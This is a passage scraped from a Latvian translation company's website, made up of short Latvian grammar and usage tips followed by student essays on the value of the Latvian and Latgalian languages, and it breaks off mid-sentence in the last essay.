Vai – nulle kā apsēdies? Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2023-05-08 - Modified: 2024-09-11 - URL: https://skrivanek.lv/nule-vai-nulle/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NULE VAI NULLE 1 Nule kā apsēdies, Pēteris jau sajutās kā apaļa nulle. Vai – nulle kā apsēdies? ‘Nule’ ir apstākļa vārds ar nozīmi ‘nupat, tikko’, savukārt ‘nulle’ ir skaitļa vārds, var tikt lietots arī lietvārda nozīmē – tāds, kam nav nekādu zināšanu, nekādu prasmju. ‘Nulle’ var tikt lietota arī īpašvārda nozīmē ģenitīva formā – raksturojot ko tādu, kam nav skaitliskas vērtības, kas ir bezvērtīgs, nenozīmīgs. Piemēram, īpašumam tagad ir nulles vērtība. Der atcerēties, ka stabils vārdu savienojums ‘nulles vads’, rakstot to kā salikteni, jāraksta ar diviem ‘l’ – nullvads. Tātad teiksim: nule kā apsēdies, Pēteris jau sajutās kā apaļa nulle. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pirms galda klāšanas to, lūdzu, noslaukiet! Vai – noslauciet? Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-05-08 - Modified: 2023-05-08 - URL: https://skrivanek.lv/noslauciet-vai-noslaukiet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOSLAUCIET VAI NOSLAUKIET 1 Pirms galda klāšanas to, lūdzu, noslaukiet! Vai – noslauciet? Lai tiktu skaidrībā, vispirms pārveidosim abus vārdus nenoteiksmē: ‘noslauciet’ nenoteiksme būs ‘noslaukt’, bet ‘noslaukiet’ – ‘noslaucīt’. Tagad apskatīsim abu vārdu nozīmes – ‘noslaukt’ nozīmē – slaucot iztukšot, bet ‘noslaucīt’ – slaukot nosusināt. Šajos piemēros mums darīšana ar vēsturisko līdzskaņu miju, proti, līdzskanis k mijas ar c, ja tie ir patskaņu i, ī, e, ē vai divskaņa ie priekšā. Vārdam ‘noslaucīt’ pavēles izteiksmes 2. personas daudzskaitļa forma būs ‘noslaukiet’, savukārt vārdam ‘noslaukt’ šī pati forma būs – ‘noslauciet’. Piemēra vārda nozīme ir ‘slaucīt’, nevis ‘slaukt’, tādēļ teiksim: Pirms galda klāšanas to, lūdzu, noslaukiet! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lai aplūkotu piedāvājumu, spiediet uz saiti vai – spiediet uz saites? Kā ir pareizi? Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-05-08 - Modified: 2024-09-24 - URL: https://skrivanek.lv/uz-saites-vai-uz-saiti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional UZ SAITES VAI UZ SAITI 1 Lai aplūkotu piedāvājumu, spiediet uz saiti www. kurbulis. lv. Vai – spiediet uz saites www. kurbulis. lv? Literārajā valodā prievārdu ‘uz’ lieto ar vienskaitļa ģenitīvu, ja prievārda savienojums ir ar vietas nozīmi, piemēram: atrasties uz galda. Prievārds ‘uz” lietojams ar vienskaitļa akuzatīvu, ja vārdu savienojums norāda darbības virzienu, piemēram: braukt uz mājām. Tātad teiksim: Lai aplūkotu piedāvājumu, spiediet uz saites www. kurbulis. lv. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ak Dievs, kā laiks paskrējis! Vai – Ak, Dievs, kā laiks paskrējis! Kurš variants ir pareizs? Lasi šajā latviešu valodas padomā! - Published: 2023-05-08 - Modified: 2025-03-12 - URL: https://skrivanek.lv/ak-dievs-vai-ak-dievs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AK, DIEVS VAI AK DIEVS 1 Ak Dievs, kā laiks paskrējis! Vai – Ak, Dievs, kā laiks paskrējis! ‘Ak’ ir izsauksmes vārds, ko teikumā atdala ar komatu. Tomēr jāatceras, ka šo izsauksmes vārdu neatdala no personas vietniekvārda ‘tu’, ‘jūs’ vai interjektīva lietvārda ‘Dievs’, ‘velns’, ‘mūžs’, ‘pasaule’ u. tml. Ar šiem vārdiem veidojas interjektīvi savienojumi ar vienu nozīmi – emocionālās attieksmes izpauduma nozīmi (sākotnējo jēdzienisko nozīmi šie lietvārdi tādā lietojumā parasti ir zaudējuši). Interjekcija ir vārdšķira, pie kuras pieder nelokāmi vārdi, ko izmanto iespējami īsai emocionālai jūtu, gribas vai īstenības parādību attēlojuma un vērtējuma izteikšanai; vienkāršāk sakot, tas ir izsauksmes vārds. Un process, ko valodnieki sauc par ‘interjektivāciju’, ir dažādu vārdšķiru pāreja interjekcijās. Tātad teiksim: Ak Dievs, kā laiks paskrējis! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- - Published: 2023-04-13 - Modified: 2023-11-21 - URL: https://skrivanek.lv/zanes-bondares-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Zane Bondare, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Ai dzimtā valodiņa, Cik man nozīmīga viņa! Tu man dod iespēju mācīties, Ar citiem indivīdiem vārdiem mainīties, Dzīvē, karjerā Tu mani gudri vadi, Manu iekšējo pasauli ar saturu lādi, Jebkurā jomā pašizpausties varu, Ar mērķi pildīt Latvijas sabiedrības garu, Tevi pētīt, attīstīt un kopt man dots, Tevi saglabāt – mans pienākums! (Z. Bondare)Tiek uzskatīts, ka dzimtā latviešu valoda ir kas pašsaprotams, jo to apgūstam pirmajos dzīves gados, tāpēc bērni tiek mudināti pēc iespējas vairāk apgūt svešvalodas, pieņemot, ka to zināšanas sniegs lielākas iespējas indivīda attīstībā, tāpēc dzimtās valodas apguve tiek pamesta novārtā. Šāds pieņēmums ir kļūdains, jo tieši ar dzimto valodu sākas jebkuras inteliģentas personas ceļš dzīvē, darbā un sabiedrībā – tā mums ir viena, tāpēc latviešu valoda ir mana iespēja mācīties, komunicēt un pašizpausties, kopt, pētīt, attīstīt un saglabāt latviešu valodu, kā arī veidot Latvijas sabiedrību. Latviešu valoda ir pamats, uz kura var atsperties, tāpēc latviešu valoda ir mana iespēja mācīties, apgūt zināšanas un nodot tās tālāk. Tikai dzimtajā valodā ir visvieglāk un visātrāk apgūt vielu skolā un ārpus tās jebkurā jomā, tāpēc mācības man ir nevis apgrūtinošs pienākums, bet gan privilēģija, arī svešvalodu apguvē. Mācoties svešvalodu domāju citās kategorijās, paceļoties pāri tradicionālajai vārdu un gramatikas likumu apgūšanai un skatoties uz pasauli citām acīm, tomēr dzimto valodu nedrīkst izmantot tikai kā tiltu, lai iemācītos citu valodu. Tā ir dvēseles dzīļu valoda, atverot durvis uz jaunām dimensijām. Dzimtā valoda ir arī domu izteikšanas un sazināšanās līdzeklis, tāpēc latviešu valoda ir mana iespēja komunicēt, pašizpausties un “nostabilizēties dzīvei”, lai sasniegtu savus nospraustos mērķus dzīvē, darbā un sabiedrībā, arī lietojot valodas elektronisko versiju – internetā, masu informācijas līdzekļos un rakstu valodu darba dokumentos un skolas pārbaudes darbos. Cenšos iemācīties runāt un rakstīt nepiesārņojot valodu, nevairoties no vietvārdiem un senvārdiem, tomēr dažādi apstākļi un nosacījumi, kā arī mani uzskati, attieksme un pieredze var ietekmēt valodas lietojumu. Tā kā dzimtā valoda saista indivīdu ar Latvijas kultūru un sabiedrību, tad latviešu valoda ir mana iespēja veidot Latvijas sabiedrību ar saviem vārdiem, darbiem, attieksmi un stiprināt tās identitāti. Latviešu valoda vienmēr bijusi apdraudēta, bet izdzīvojusi, jo ir tautas identitātes un eksistences pamats. Gadsimtiem ilgi tā lietota un aizliegta, mīlēta un nīsta, nicināta un godā celta, jo latviešu valoda ir maza valoda un to apdraud globalizācijas procesi. Vienmēr esot par tautas dvēseles daļu, latviešu valoda ir spējusi “nesalūzt”, tāpēc es cenšos tajā aktīvi runāt, rakstīt, lasīt, jo valoda nemirst, kamēr tajā “darbojas”. Latviešu valoda ir latviešu kultūras pamatelements, kas no paaudzes paaudzē veidojis materiālo un nemateriālo tautas kultūras mantojumu, tāpēc latviešu valoda ir mana iespēja to kopt un attīstīt. Valoda ir spēcīgākais tradīciju uzturētājs, kas palīdz saglabāt un nodot vēstījumu nākamajām paaudzēm par manu piederību savai tautai un kultūrai, ko es īstenoju ar tautas dziesmām, dažādām spēlēm un rotaļām, utt. vai ar vienkāršu sarunu latviešu valodā, izceļot valodas plūdumu un bagātību. Ar attieksmi pret dzimto valodu, tradīcijām un kultūru sākas mans patriotisms, mīlestība un cieņa pret savu dzimteni. Tā kā vēsturiski latviešu valoda ir veidota no dažādu valodu vārdiem, tad latviešu valoda ir mana iespēja to pētīt un saglabāt. Dziļāk vērtējot vārdus, atklāju tās saikni ar citām Eiropas tautu valodām, tāpēc latviešu valoda ir ne ar ko salīdzināma unikāla bagātība, tomēr šī izpēte ir jāturpina – tā slēpj virkni unikālus vārdus, ko nepieciešams “iznest” sabiedrībā. Iestāšanās ES latviešu valodai ir piešķīrusi ES oficiālās valodas statusu - Eiropā ikviena valoda tiek uzskatīta par kopīgu un aizsargājamu vērtību, tāpēc ES sniedz šobrīd visvajadzīgāko — drošības sajūtu, kuru arī es varu veicināt ar savu attieksmi pret valodu. Latviešu valodai ir neatsverama nozīme sabiedrības identitātes veidošanā, savstarpējā saziņā, indivīdu izglītības un attīstības iespējās. Bijām, esam un būsim latviešu valodas lietotāji, tomēr pret latviešu valodu nedrīkstam būt tikai patērētāji – mums jārūpējas par tās ekoloģiju, lai valoda nezustu un neierūsētu, tādējādi tiktu saglabāta, kopta, attīstīta, bagātināta un būtu mūsdienīga, spējot izteikt aktuālās domas, idejas, uzskatus un raksturot jaunatklātās parādības un procesus. Samīļosim savu valodu, sakot viens otram pozitīvus vārdus, kā arī lietojot pareizas gramatiskās formas, to nekropļojot un nenoniecinot! Ar savu bagātību un daudzpusību - žilbini, Ar savu unikalitāti un identitāti – pārsteidz, Ar savu garu un dvēseli – dari lepnu, Ar savu skaistumu un kultūru – padari īpašu, Ar savu nozīmību un latviskumu - padari dārgu! Tu esi mana atbildība un pienākums, Tu esi mans gods un mierinājums! (Z. Bondare) Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/lianas-belovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Liāna Belova, Biznesa, mākslas un tehnoloģiju augstskola "RISEBA" ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir tās pratēja bagātība un spēks, kas mūs apvieno, lai sniegtu iespēju zināt un mācīt, darīt un dzīvot. Vai jūs zinājāt, ka latviešu un latgaliešu valodas ir vienas no senākajām un neizmainītākajām šobrīd pastāvošo indoeiropiešu valodām pasaulē? Valoda ir kultūras un vēstures spogulis. Valoda ir mana iespēja saglabāt tās esamību un stalti nest to pasaulē, lepni stāstot, ka tā ir viena no retākajām un sarežģīti apgūstamām valodām. Tā ir mana vizītkarte. Latviešu un latgaliešu valodas ir senas baltu valodas valodas, kurās runā pietiekami daudz pratēju, lai tās saglabātu vēl ilgu laiku, ko nevar teikt par, piemēram, Baltijas jūras somu valodu saimes lībiešu valodu, kas savulaik ievērojami ietekmējusi latviešu valodu. Latviešu un latgaliešu valodām ir daudz līdzību, bet tajā pašā laikā arī daudz atšķirību, kas padara abas no valodām unikālas. Latgaliešu alfabētam nāk klāt tādi burti kā “y”, kas ir cietais “i” un dažās Latgales apkaimes izloksnēs tiek izmantots arī “ō” jeb garais “o”, kas atspoguļojas tādos vārdos kā “cilvēks” – “cylvāks” un “māsa” – “mōsa”. Runājot par latviešu rakstu valodas aizsākumiem, senākie ieraksti biedrības grāmatās latviešu valodā, kurās rakstīja priesteri, ir jau no 15. gadsimta. Valodas gramatika tika izveidota jau 18. gadsimtā, ko izstrādāja G. F. Stenders, uzrakstot progresīvo ābeci “Bildu ābice” (1787). 19. gadsimtā tika nodibināta latviešu valodas literārā neatkarība kopā ar Jura Alunāna, kā literārās iedvesmas avotu, dzejoļu grāmatu (1856) “Dziesmiņas”. Ar laiku latviešu sabiedrība nonāca līdz pirmajam brāļu Kaudzīšu romānam latviešu valodā “Mērnieku laiki” (1879), kas ir kļuvis par vienu no lasītākajiem literatūras romāniem latviešu valodā. 1908. gadā Rīgas Latviešu biedrības Zinību Komisija izstrādāja latviešu rakstību, kādu izmantojam vēl šobaltdien. Šodien mūsu valoda ir cēla, spēcīga un neatkarīga. Zinot savu valodu, es spēju attīstīt sevi un apkārtējo vidi un pierādīt tās vērtību pasaulei. Mana valoda ir manu domu nēsātāja. Un mans uzdevums kā valodas pratējam ir domāt arī par valodas nākotni, jo jau ir redzamas izmaiņas vārdu darināšanā un leksikā valodu kontakta dēļ. Tieši tādēļ ir svarīgi kopt un lietot savu valodu ar godu – caur romāniem un teikām, dziesmām un dzeju, mīlestību un saticību. Pamazām arī ārvalstīs sāk uzzināt vairāk par latviešu valodu, piemēram, iespēja apgūt latviešu valodu ārvalstu universitātēs kā svešvalodu. Pēdējo gadu laikā ārvalstu uzņēmumos tiek pieprasīti latviešu valodā runājoši darbinieki, lai, piemēram, veicinātu sadarbību starp Latvijas un ārvalstu uzņēmumiem vai ārvalstu filiālēm Latvijā. Savukārt latgaliešu valodas pratēji aktīvi akcentē savas valodas vērtību skolās, pasākumos, konkursos un olimpiādēs, radio raidījumos, veido ziņu portālus un pērn pat tika izveidots pirmais seriāls latgaliešu valodā ar nosaukumu “Fati”. Kā vēstīja Emersons: ”Valoda ir pilsēta, kuras uzcelšanā ikviens cilvēks iemūrējis savu akmeni”. Tas, cik augstu gaismā mēs nesam savu valodu, ir brīnišķīgs pierādījums tam, ka tikai mēs paši, valodas pratēji, nosakām savas valodas nozīmi dzīvē, sniedzot tai elpu un padarot to dzīvotspējīgu. Mana pasaule skan manā valodā un es šeit esmu, lai ļautu vēstīt to caur manu valodu. Mana valoda ir dārgākais, ko es varu paņemt līdzi, lai arī kur es dotos. Ierosinu arī jūs skaļi runāt tajā. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/agneses-puisanes-eseja/ - Kategorijas: Eseju konkurss - Formāti: Attēls - Translation Priorities: Optional Autors: Agnese Puisāne, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” No stūru stūriem, malu malām, pa taku takām garum garām pie manis ceļu rod valoda zelta ietērpā. Valoda sevī slēpj daudzas iespējas, proti, ar tās palīdzību ir iespējams izteikties un dzirdēt izsakāmies citus, tā dod iespēju domāt radoši un atainot dzīvi radošās krāsās, un tās varā pat ir spēja sniegt iedvesmu brīžos, kad tas visvairāk nepieciešams. Viena no verbālās komunikācijas formām ir cilvēka izteikts vārds. Valoda ir mana iespēja atklāt citiem savu domu ritējumu tikai man raksturīgajā maigajā balss tembrā, ar tās savdabīgi silto skanējumu. Manuprāt, vissparīgāk runas pavedienu šķetināt izdodas aktieriem, jo no skatuves pateiktie vārdi atbalsojas ne tikai zāles pēdējā rindā, bet arī ievijas skatītāju sirdīs, mudinādami viņus uz kādu cēlāku mērķi vai atziņu, Atminos Viktora Hausmaņa sarakstītajā grāmatā par aktrisi Lilitu Bērziņu reiz izlasītu vēstules citātu, ko savulaik aktrisei sakarā ar kādu izrādi bija rakstījis dzejnieks Jānis Sudrabkalns: “Šajās valdzinošajās, stiprajās izrādēs, kas nomazgāja dvēseli tīru un baltu, un prātu pacēli kalna virsotnēs, nemaz neatraujot no zemes, kustējies, darbojies, runāji tu, un es kļuvu tādā vakarā spodrāks, labāks, apzinīgāks. ” Runas prasme ir mūsu rota, jo no tā, kā sevi pasniedzam, cik saprotami un skaidri noformulējam savu domu, ir atkarīga apkārtējo attieksme pret mums. Valoda ir kā nebeidzams strauts, kas, bezgalīgi plūstot, veido vārdu virknējumus, kuri, savukārt, sniedz iespēju radoši izpausties. Ārija Elksne - Viena no 20. gs. Spilgtākajām Dzejniecēm – savā dzejolī “Zeme skatās” par tautas pastāvēšanu tēlaini min: “... Bez zemes tauta novadējas, iznīkst, Un pāri Romas drupām redzēt var, Ka laika viļņos izčākst drīz kā viznis Dažs labs no zemes atsakņojies zars. ” Iedvesmojoties no dižajiem latviešu dzejniekiem un radošuma kopējiem, arī es izmantošu iespēju mazliet parotaļāties ar vārdu atskaņu rindām: Stipri koki aug uz augšu, Arī es tiem līdzi traukšu. Starp cilvēkiem kā kokiem būt, Ar viņiem kopā spēku gūt. Valodai piemīt mudināšanas funkcija, jo tā caur kādu izlasītu citātu vai atziņu spēj mani iedvesmot un pavērt durvis uz jaunām iespējām. Latviešu filozofiskās esejas pamatlicēja Zenta Mauriņa ir atstājusi kādu eseju, kurā viņa raksta par 10 garīgās higiēnas baušļiem, kurus, kā pati atzīst: “Desmit baušļus esmu uzrakstījusi uz savas sirds tāfeles zinādama, ka jauns sākums, jauna apņemšanās, stingrs lēmums var brīvi ievirzīt jaunās sliedēs. ” Mani uzrunāja bauslis par savas mājas veidošanu, ar to domājot, savas iekšējās mājas būvēšanu un kopšanu katru dienu, jo, Mauriņas prāt: “Kas to nepārtraukti neveido, tas drīz sabrūk drupās. ” Valoda, kura ir sadzirdama, valoda, kura spēj atainot radošumu, valoda, kura iedvesmo – lūk iespējas, ko man sniedz valoda, pavērdama pasauli plašāku un ļaudama nemitīgi pētīt tās burvību. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/elizas-kolesnikovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Elīza Koļesņikova, Daugavpils Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir bērns. Tā aug līdzi no pašiem pirmajiem sirdspukstiem mātes miesā, un tā nav tikai daļa no bērna, tā nav vēl viena prasme, proti, ‘’es protu runāt’’, tā ir iespēja. Kā placenta tā sniedz skābekli un iespēju izdzīvot, vai varbūt dzīvot? Bērns dzimst un sākas stāsts. Kādā valodā to raksta un kurš, mēs nezinām, bet varam tikai minēt. Zīdainim pirmā valoda ir atrast krūti. Viņš meklē un atrod, un izdzīvo. Vēlāk viņš dzird, kādā valodā runā mamma un atkārto vārdus vai zilbes, un tā viņš iemācās teikt vārdu ‘’mamma’’ un skumju brīžos, saukdams viņu, izdzīvo. Pirmais dārziņš un tur runājošie izraisa bailes. Bet mamma iedrošina un pirmie dialogi ar draugiem dot iespēju socializēties un iekļauties, izdzīvot. Vēlāk skola un vajag saspringt, lai izrunātu savu vārdu un uzvārdu visas klases priekšā bez kļūdām un izteiksmīgi. Tas izdodas, jo valoda nekad nepieviļ. Un tad pirmās iepazīšanās ar klasesbiedriem. Jāpasaka, kas smieklīgs vai asprātīgs. Tā ir iespēja būt uz viļņa ar vienaudžiem jeb izdzīvot. Pusaudžu vecums nav viegls, un valoda ir iespēja atrast savu es šajā pasaulē. Kas runā manā valodā? Kurš mani sadzirdēs? Kam ir svarīgi, ko es saku? Ir grūti atrast savējos starp citiem, bet, ja mēs dažreiz paklusējam, var sadzirdēt un izdzīvot. Un tā atrodas savējais, kuram izrādās ir tāds pats skatījums uz dzīvi, un runā viņš tādā pat valodā. Mīlestības valodā. Divas valodas saplūst kopā un izdzīvo. Un tā viņi mācās, strādā, attīstās un veido savu ģimeni. Un augstskolā vajag mazāk izdzīvot un vairāk klausīties, darbā vairāk jāizdzīvo. Mājās vairāk dzīvot. Bet valoda ir ar mums kopā visu dzīvi. Vienalga kāda, vienalga cik daudz, bet tik cik vajag, lai izdzīvotu, vai varbūt dzīvot? Tā dot skābekli dzīvot. Un beigu beigās mēs vienalga paliksim stāstos un atmiņās, kuru, kā mācēs un pratīs, stāstīs mūsu bērni mazbērniem. Jo valoda vieno. Vieno mammu ar bērnu, kad viņš neapmierināts, ko mamma apēda, iebaksta sānā, vieno mammu un tēti viņu atrastajā mīlestības valodā, vecos ar jaunajiem, kā arī visas mūsu dzīves sfēras. Un valodai ir mamma un tā ir dzimtene. Un tik, cik ļoti mēs mīlēsim savu mammu, tik ļoti mēs mīlam savu dzimteni un otrādi. Tāpēc nevar aizmirst par valodas devēju, jo dažreiz tik ļoti esam ieciklējušies uz tās nesēju. Valoda ir bērns un tai vajag mīlestību, rūpes un cieņu, un robežas, kas ir māte Latvija. Un tad notiek brīnums un mīlestības valodai rodas iespēja dzīvot no jauna. Un cikls sākas no jauna. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/laimas-grisules-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Laima Grišule, Daugavpils Universitāte ESEJA “VOLŪDA - MUNA ĪSPIEJA! ” Puordūmojūt volūdys vaicojumus, bīži atguodoju Danskovītis lugā “Latgola. lv” izskanejušū anekdotu: “Div bruoli Latgolā pļaun sīnu. Pībrauc augstys klasis mašina,apsastuoj, izkuop pēc izskota cīši boguots uorzemnīks – Do you speak English? – bruoli parausta placus. – Sprechen Sie Deutsch? – brouli parausta placus. – Parles-tu français? – bruoli parausta placus, bogotnīks nūsašpļaun, īlāc mašinā i aizbrauc. Piec laika vīns bruoļs soka – muote jau sen saceja, volūdys vāga vuiceitīs – dzeivē nūderēs! Ūtrīs bruoļs atsoka ­­– jys treis zynuoja, a jam nūderēja ? ! ” Itys atgadejums paruoda vairuokys patīseibys. Pyrmkuort, volūdu prasmis ir lels duorgums, kas var atslēgt daudzys durovys, caur tuom varim tikt pamaneiti i sadzierdāti. Nui, nivīns par tū nasašvuorboj, myusu dīnu cīši saisteitejā pasaulī bez svešvolūdu zynuošonom naiztikt. Ūtrkuort, cylvāks vyspatīsuok i suleiguok var izasaceit tikai dzymtejā volūdā. Raudzeisim nūskaidruot, kaidys īspiejis aba vareibys tei snādz, i deļ kuo sevkuram ir tik eipaša. Dzymtuo volūda ir tei, kū bārns īsavuica nu saimis, i taipat kai bārnu i mameņi vīnoj nobys saite, ari na muzuok svareiga dzeiveibys dzeisla vīnoj cylvāku ar juo dzymtū volūdu, taitod naatdolama nu cylvāka dziļuokuos byuteibys. Tei ir volūda, kurā mes dūmojam. Maņ, taipat kai apmāram 165 000 cylvāku tei ir latgalīšu volūda. Zynu, daudzi aizruodeisit, – augšzemnīku dialekts – atstuosim tū volūdnīku zinī, vystik pīkrissit, vuordu savīnojums “dzymtai dialekts ” naskaņ. Tys zeimoj, ka pyrmī vuordi, kū dzierdieju skanē latgaliski, pyrmī, kū saceju beja “tēte”, “mameņa”, “baba”, “vacīs tāvs” i “ņāne’’ (muns izdūmuotīs apzeimejums kačam). Tok kaidu šaļteņu atpakaļ bejs laiks kod daļa vacuoku, piec izceļsmis latgalīši, ar bārnim runojuši tikai “pareizi latviski” i niule jī, jau kai leli cylvāki, tāva i muotis volūdu namuok, jo viņ pošim nav redziejīs vajadzeigs tū vāluok apgiut. Deļ kuo itim vacuokim dīvamžāļ beja kauns nu seve? Kas jim lyka dūmuot, ka narunuošona latgaliski var byut prīkšrūceiba? Līkās, ka tān itī dryumī laiki jau aiz mugorys – gon audzs latgalīšu pošlapnums, gon jaunū paaudžu skatejumā latgalīšu volūda ir koč kas ‘’stileigs’’. Naseņ izguojs pyrmais detektivromans, pyrmais serials, golda spēle, komikss latgaliski. Pyrmais, pyrmais, pyrmais – apbreinojami, ka vēļ tik daudz īspieju myusu dīnuos byut debitantam. Tok lai tys pyrmais ir īdybynojums i prīkšzeime sekojūšim vēļ naskaitamim i arvīņ augūšā kvalitatī. Latgalīšu volūda ir na tikai plaši lītuots kasdīnys sazinis leidzeklis – regulari iznuok dažaida žanra literaturys i muzikys dorbi, nūteik pasuocīni, ir sovys sātys lopys i masu viesteituoji, kas vīnnūzeimeigi aplīcynoj, ka tei nav nūvacuojuse, īt kūpsūlī ar laiku i atsateista. Latgalīšu volūda ir volūda ar nuokūtni. Eipaši lela prīca, ka aizvīņ vairuok uzmaneibys šūbreid pīvierš latgalīšu rokstu volūdys vuiceibom školuos – leluokais davums volūdys nuokūtnī ir īguļdejums izgleiteibā, cerams, ka ar itū vaicuojumu lūbsīs arvīņ lobuok i latgalīšu volūdu varēs apgiut na viņ puordesmit školus, tok kotrā 